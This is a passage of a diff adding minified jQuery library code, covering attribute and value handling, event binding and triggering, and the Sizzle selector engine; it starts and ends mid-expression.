+e[j];if(i.selected){a=c(i).val();if(b)return a;f.push(a)}}return f}if(Ba.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Za,"")}return w}var o=c.isFunction(a);return this.each(function(k){var n=c(this),r=a;if(this.nodeType===1){if(o)r=a.call(this,k,n.val());if(typeof r==="number")r+="";if(c.isArray(r)&&Ba.test(this.type))this.checked=c.inArray(n.val(),r)>=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected=
+c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");
+a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g,
+function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split(".");
+k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a),
+C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B<r.length;B++){u=r[B];if(d.guid===u.guid){if(i||k.test(u.namespace)){f==null&&r.splice(B--,1);n.remove&&n.remove.call(a,u)}if(f!=
+null)break}}if(r.length===0||f!=null&&r.length===1){if(!n.teardown||n.teardown.call(a,o)===false)Ca(a,e,z.handle);delete C[e]}}else for(var B=0;B<r.length;B++){u=r[B];if(i||k.test(u.namespace)){c.event.remove(a,n,u.handler,B);r.splice(B--,1)}}}if(c.isEmptyObject(C)){if(b=z.handle)b.elem=null;delete z.events;delete z.handle;c.isEmptyObject(z)&&c.removeData(a)}}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=
+e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&&
+f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive;
+if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e<j;e++){var i=d[e];if(b||f.test(i.namespace)){a.handler=i.handler;a.data=i.data;a.handleObj=i;i=i.handler.apply(this,arguments);if(i!==w){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
+fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||s;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=s.documentElement;d=s.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
+d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==w)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a){c.event.add(this,a.origType,c.extend({},a,{handler:oa}))},remove:function(a){var b=true,d=a.origType.replace(O,"");c.each(c.data(this,
+"events").live||[],function(){if(d===this.origType.replace(O,""))return b=false});b&&c.event.remove(this,a.origType,oa)}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};var Ca=s.removeEventListener?function(a,b,d){a.removeEventListener(b,d,false)}:function(a,b,d){a.detachEvent("on"+b,d)};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=
+a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,
+isImmediatePropagationStopped:Y};var Da=function(a){var b=a.relatedTarget;try{for(;b&&b!==this;)b=b.parentNode;if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}}catch(d){}},Ea=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ea:Da,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ea:Da)}}});if(!c.support.submitBubbles)c.event.special.submit=
+{setup:function(){if(this.nodeName.toLowerCase()!=="form"){c.event.add(this,"click.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="submit"||d==="image")&&c(b).closest("form").length)return na("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="text"||d==="password")&&c(b).closest("form").length&&a.keyCode===13)return na("submit",this,arguments)})}else return false},teardown:function(){c.event.remove(this,".specialSubmit")}};
+if(!c.support.changeBubbles){var da=/textarea|input|select/i,ea,Fa=function(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data",
+e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,
+"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a,
+d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j<o;j++)c.event.add(this[j],d,i,f)}return this}});c.fn.extend({unbind:function(a,b){if(typeof a==="object"&&
+!a.preventDefault)for(var d in a)this.unbind(d,a[d]);else{d=0;for(var f=this.length;d<f;d++)c.event.remove(this[d],a,b)}return this},delegate:function(a,b,d,f){return this.live(b,d,f,a)},undelegate:function(a,b,d){return arguments.length===0?this.unbind("live"):this.die(b,null,d,a)},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},
+toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Ga={focus:"focusin",blur:"focusout",mouseenter:"mouseover",mouseleave:"mouseout"};c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e,j){var i,o=0,k,n,r=j||this.selector,
+u=j?this:c(this.context);if(c.isFunction(f)){e=f;f=w}for(d=(d||"").split(" ");(i=d[o++])!=null;){j=O.exec(i);k="";if(j){k=j[0];i=i.replace(O,"")}if(i==="hover")d.push("mouseenter"+k,"mouseleave"+k);else{n=i;if(i==="focus"||i==="blur"){d.push(Ga[i]+k);i+=k}else i=(Ga[i]||i)+k;b==="live"?u.each(function(){c.event.add(this,pa(i,r),{data:f,selector:r,handler:e,origType:i,origHandler:e,preType:n})}):u.unbind(pa(i,r),e)}}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),
+function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});A.attachEvent&&!A.addEventListener&&A.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});(function(){function a(g){for(var h="",l,m=0;g[m];m++){l=g[m];if(l.nodeType===3||l.nodeType===4)h+=l.nodeValue;else if(l.nodeType!==8)h+=a(l.childNodes)}return h}function b(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];
+if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=l;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}m[q]=y}}}function d(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=l;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(k.filter(h,[t]).length>0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift();
+t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D||
+g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};k.matches=function(g,h){return k(g,null,null,h)};k.find=function(g,h,l){var m,q;if(!g)return[];
+for(var p=0,v=n.order.length;p<v;p++){var t=n.order[p];if(q=n.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");m=n.find[t](q,h,l);if(m!=null){g=g.replace(n.match[t],"");break}}}}m||(m=h.getElementsByTagName("*"));return{set:m,expr:g}};k.filter=function(g,h,l,m){for(var q=g,p=[],v=h,t,y,S=h&&h[0]&&x(h[0]);g&&h.length;){for(var H in n.filter)if((t=n.leftMatch[H].exec(g))!=null&&t[2]){var M=n.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-
+1)!=="\\"){if(v===p)p=[];if(n.preFilter[H])if(t=n.preFilter[H](t,v,l,p,m,S)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=v[U])!=null;U++)if(D){I=M(D,t,U,v);var Ha=m^!!I;if(l&&I!=null)if(Ha)y=true;else v[U]=false;else if(Ha){p.push(D);y=true}}if(I!==w){l||(v=p);g=g.replace(n.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)k.error(g);else break;q=g}return v};k.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var n=k.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
+CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},
+relative:{"+":function(g,h){var l=typeof h==="string",m=l&&!/\W/.test(h);l=l&&!m;if(m)h=h.toLowerCase();m=0;for(var q=g.length,p;m<q;m++)if(p=g[m]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[m]=l||p&&p.nodeName.toLowerCase()===h?p||false:p===h}l&&k.filter(h,g,true)},">":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m<q;m++){var p=g[m];if(p){l=p.parentNode;g[m]=l.nodeName.toLowerCase()===h?l:false}}}else{m=0;for(q=g.length;m<q;m++)if(p=g[m])g[m]=
+l?p.parentNode:p.parentNode===h;l&&k.filter(h,g,true)}},"":function(g,h,l){var m=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("parentNode",h,m,g,p,l)},"~":function(g,h,l){var m=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,m,g,p,l)}},find:{ID:function(g,h,l){if(typeof h.getElementById!=="undefined"&&!l)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var l=[];
+h=h.getElementsByName(g[1]);for(var m=0,q=h.length;m<q;m++)h[m].getAttribute("name")===g[1]&&l.push(h[m]);return l.length===0?null:l}},TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,l,m,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var v;(v=h[p])!=null;p++)if(v)if(q^(v.className&&(" "+v.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},
+CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m,
+g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},
+text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},
+setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return h<l[3]-0},gt:function(g,h,l){return h>l[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=
+h[3];l=0;for(m=h.length;l<m;l++)if(h[l]===g)return false;return true}else k.error("Syntax error, unrecognized expression: "+q)},CHILD:function(g,h){var l=h[1],m=g;switch(l){case "only":case "first":for(;m=m.previousSibling;)if(m.nodeType===1)return false;if(l==="first")return true;m=g;case "last":for(;m=m.nextSibling;)if(m.nodeType===1)return false;return true;case "nth":l=h[2];var q=h[3];if(l===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var v=0;for(m=p.firstChild;m;m=
+m.nextSibling)if(m.nodeType===1)m.nodeIndex=++v;p.sizcache=h}g=g.nodeIndex-q;return l===0?g===0:g%l===0&&g/l>=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m===
+"="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g,
+h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l<m;l++)h.push(g[l]);else for(l=0;g[l];l++)h.push(g[l]);return h}}var B;if(s.documentElement.compareDocumentPosition)B=function(g,h){if(!g.compareDocumentPosition||
+!h.compareDocumentPosition){if(g==h)i=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===h?0:1;if(g===0)i=true;return g};else if("sourceIndex"in s.documentElement)B=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)i=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)i=true;return g};else if(s.createRange)B=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)i=true;return g.ownerDocument?-1:1}var l=g.ownerDocument.createRange(),m=
+h.ownerDocument.createRange();l.setStart(g,0);l.setEnd(g,0);m.setStart(h,0);m.setEnd(h,0);g=l.compareBoundaryPoints(Range.START_TO_END,m);if(g===0)i=true;return g};(function(){var g=s.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&&
+q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML="<a href='#'></a>";
+if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}();
+(function(){var g=s.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}:
+function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)k(g,h[q],l);return k.filter(m,l)};c.find=k;c.expr=k.selectors;c.expr[":"]=c.expr.filters;c.unique=k.uniqueSort;c.text=a;c.isXMLDoc=x;c.contains=E})();var eb=/Until$/,fb=/^(?:parents|prevUntil|prevAll)/,
+gb=/,/;R=Array.prototype.slice;var Ia=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,j){return!!b.call(e,j,e)===d});else if(b.nodeType)return c.grep(a,function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Ua.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;
+c.find(a,this[f],b);if(f>0)for(var j=d;j<b.length;j++)for(var i=0;i<d;i++)if(b[i]===b[j]){b.splice(j--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ia(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ia(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j=
+{},i;if(f&&a.length){e=0;for(var o=a.length;e<o;e++){i=a[e];j[i]||(j[i]=c.expr.match.POS.test(i)?c(i,b||this.context):i)}for(;f&&f.ownerDocument&&f!==b;){for(i in j){e=j[i];if(e.jquery?e.index(f)>-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a===
